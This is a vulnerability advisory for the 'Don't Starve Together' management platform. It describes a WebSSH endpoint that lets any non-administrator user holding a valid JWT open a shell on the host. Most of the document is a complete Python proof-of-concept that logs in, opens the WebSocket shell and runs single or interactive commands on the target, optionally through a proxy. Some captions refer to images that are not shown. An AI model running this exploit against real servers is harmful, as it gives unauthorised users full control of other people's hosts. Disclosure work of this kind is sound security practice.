DMP Arbitrary-User Host Remote Code Execution

Project Overview

Project URL: https://github.com/miracleEverywhere/dst-management-platform-api
The “Don’t Starve Together” Management Platform (DMP) is a one-stop management tool for dedicated “Don’t Starve Together” servers. It offers one-click deployment and intelligent operations, making it quick and easy to build a “Don’t Starve Together” multiplayer platform.

Vulnerability Details

Affected versions: v 3.0.0 through v 3.1.7
Privilege required: any user holding a valid JWT (an ordinary, non-administrator user is sufficient)

In DMP’s permission model, users fall into two broad categories: administrators and non-administrators. To make administration easier, the platform exposes a WebSSH endpoint, /v3/platform/webssh. It accepts a valid token as a parameter for authentication; once the check passes a WebSocket connection is established and an interactive shell is returned:

GET /v3/platform/webssh?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJuaWNrbmFtZSI6InRlc3QiLCJyb2xlIjoibm9uLWFkbWluIiwidG9rZW5WZXJzaW9uIjowLCJpc3MiOiJodHRwczovL2dpdGh1Yi5jb20vbWlyYWNsZUV2ZXJ5d2hlcmUvZHN0LW1hbmFnZW1lbnQtcGxhdGZvcm0tYXBpIiwic3ViIjoidGVzdCIsImV4cCI6MTc4OTg0MjIzOSwibmJmIjoxNzg5NTgzMDM5LCJpYXQiOjE3ODk1ODMwMzl9.txDa8dy1FSqhjy8flAUT8OCtSXGQ0t2xD_thLbg-0mk HTTP/1.1
Host: 127.0.0.1:8082
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

The system, however, only validated that the JWT was valid — it never checked whether the holder was an administrator. As a result, an ordinary user also has permission to interact directly with the underlying system:

Shown below is the JWT of an ordinary user, test:

The SOCKS 5 connection is still established successfully:

The host server can be taken over directly.

Root Cause

The /v3/platform/webssh route is mounted with middleware.TokenCheck() (which returns 420 Token authentication failed when no token is supplied), but it is not mounted with middleware.AdminOnly(), and the handler itself performs no administrator check on claims.Role. Any logged-in user with a valid JWT can therefore establish a WebSocket connection and obtain an interactive bash -l PTY directly on the host.

The developer fixed this issue in commit 0d441c4, but it has not yet entered any release tag:

POC

The following PoC validates the issue:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
DMP WebSSH authorization bypass PoC

Usage:
  python3 dmp_webssh_poc.py --url http://target[:port] -u admin -p password
  python3 dmp_webssh_poc.py --url https://target -u admin -p password --jwt-only
  python3 dmp_webssh_poc.py --url http://target --jwt <token>

Options:
  --proxy socks5h://ip:port   Proxy (no proxy by default; must be specified explicitly)
  --timeout N                 Timeout (default 15)
  --cmd "id; whoami"          Non-interactive: run a single command and exit

"""

import argparse
import json
import os
import re
import sys
import urllib.parse

import urllib3
import requests

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

UA = ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
      "(KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36")

BEGIN = "__DMP_B__"
END = "__DMP_E__"


# Utilities
def strip_ansi(s):
    s = re.sub(r"\x1b\][^\x07\x1b]*(\x07|\x1b\\)", "", s)   # OSC
    s = re.sub(r"\x1b\[[0-9;?]*[a-zA-Z]", "", s)            # CSI
    s = re.sub(r"\x1b[=>]", "", s)
    return s.replace("\r\n", "\n").replace("\r", "\n")


def normalize_base(raw):
    raw = raw.strip()
    if not raw.startswith(("http://", "https://")):
        raw = "http://" + raw
    u = urllib.parse.urlsplit(raw)
    if not u.netloc:
        raise ValueError(f"Cannot parse target: {raw}")
    return f"{u.scheme}://{u.netloc}"


# Login
def login(base, username, password, proxy, timeout):
    url = f"{base}/v3/user/login"
    proxies = {"http": proxy, "https": proxy} if proxy else None
    try:
        r = requests.post(url, json={"username": username, "password": password},
                          headers={"User-Agent": UA, "Content-Type": "application/json"},
                          proxies=proxies, timeout=timeout, verify=False)
        j = r.json()
    except Exception as e:
        return None, f"Login request failed: {type(e).__name__}: {e}"

    token = j.get("data") if isinstance(j.get("data"), str) else None
    if j.get("code") == 200 and token:
        role = jwt_role(token)
        return token, role
    return None, f"Login failed: {j.get('message', j)}"


def jwt_role(token):
    try:
        payload = token.split(".")[1]
        payload += "=" * (-len(payload) % 4)
        return json.loads(urllib.parse.unquote(
            __import__("base64").urlsafe_b64decode(payload))).get("role")
    except Exception:
        return None


# WebSSH
class WsShell:
    def __init__(self, base, token, proxy, timeout):
        self.ws_url = (base.replace("https://", "wss://", 1)
                          .replace("http://", "ws://", 1)
                       + f"/v3/platform/webssh?token={urllib.parse.quote(token)}")
        self.proxy = proxy
        self.timeout = timeout
        self.ws = None
        self.banner = ""

    def open(self):
        import websocket
        kw = {"timeout": self.timeout, "sslopt": {"cert_reqs": 0},
              "suppress_origin": True, "header": [f"User-Agent: {UA}"]}
        if self.proxy:
            # Parse the proxy and set http_proxy_host/port
            u = urllib.parse.urlsplit(self.proxy)
            kw.update({"http_proxy_host": u.hostname,
                       "http_proxy_port": u.port or 1080,
                       "proxy_type": "socks5h" if "socks" in self.proxy else "http"})
            if u.username:
                kw["http_proxy_auth"] = (u.username, u.password or "")
        try:
            self.ws = websocket.create_connection(self.ws_url, **kw)
        except Exception as e:
            return f"NO VULN: WebSSH handshake failed ({type(e).__name__}: {e})"

        self.ws.settimeout(5)
        # Read the banner
        for _ in range(6):
            try:
                self.banner += self._recv()
            except Exception:
                break
        self.banner = strip_ansi(self.banner).strip()
        return None  # success

    def _recv(self):
        d = self.ws.recv()
        return d.decode("utf-8", "ignore") if isinstance(d, bytes) else d

    def run(self, cmd):
        self.ws.send(f'echo "{BEGIN[:5]}""{BEGIN[5:]}"; {cmd}; '
                     f'echo "{END[:5]}""{END[5:]}"\n')
        buf, deadline = "", __import__("time").time() + max(self.timeout, 15)
        while __import__("time").time() < deadline:
            try:
                buf += self._recv()
            except Exception:
                break
            if END in strip_ansi(buf):
                break
        txt = strip_ansi(buf)
        m = re.search(re.escape(BEGIN) + r"\n(.*?)\n" + re.escape(END), txt, re.S)
        if m:
            return m.group(1).strip()
        i = txt.rfind(BEGIN)
        if i >= 0:
            j = txt.find(END, i)
            if j > i:
                return txt[i + len(BEGIN):j].strip()
        return ""

    def close(self):
        try:
            if self.ws:
                self.ws.close()
        except Exception:
            pass


def main():
    ap = argparse.ArgumentParser(description="DMP WebSSH authorization bypass validation")
    ap.add_argument("--url", required=True, help="Target, e.g. http://127.0.0.1:8082")
    ap.add_argument("-u", "--username", help="Username")
    ap.add_argument("-p", "--password", help="Password")
    ap.add_argument("--jwt", help="Supply a valid JWT directly (skips the credentials)")
    ap.add_argument("--proxy", default=None, help="Proxy, e.g. socks5h://ip:port (no proxy by default)")
    ap.add_argument("--timeout", type=float, default=15.0)
    ap.add_argument("--cmd", help="Non-interactive: run a single command and exit")
    args = ap.parse_args()

    base = normalize_base(args.url)
    proxy = args.proxy   # no proxy by default

    # 1) Obtain a JWT
    token = args.jwt
    if not token:
        if not args.username or not args.password:
            print("[-] --username/--password or --jwt is required", file=sys.stderr)
            return 1
        token, role = login(base, args.username, args.password, proxy, args.timeout)
        if not token:
            print(f"[-] {role}", file=sys.stderr)
            return 1
        print(f"[+] Login succeeded (role={role})")

    # 2) Try to establish the WebSSH shell
    shell = WsShell(base, token, proxy, args.timeout)
    err = shell.open()
    if err:
        print(err)          # NO VULN
        return 0

    print(f"[+] Vulnerable: WebSSH shell established")
    if shell.banner:
        print(shell.banner)

    # 3) Single-command mode
    if args.cmd:
        out = shell.run(args.cmd)
        print(out)
        shell.close()
        return 0

    # 4) Interactive shell
    print("[-] Type a command and press Enter to run it; type exit to quit")
    while True:
        try:
            cmd = input("shell> ").strip()
        except (EOFError, KeyboardInterrupt):
            print()
            break
        if not cmd:
            continue
        if cmd.lower() in ("exit", "quit"):
            break
        out = shell.run(cmd)
        if out:
            print(out)
    shell.close()
    return 0


if __name__ == "__main__":
    sys.exit(main())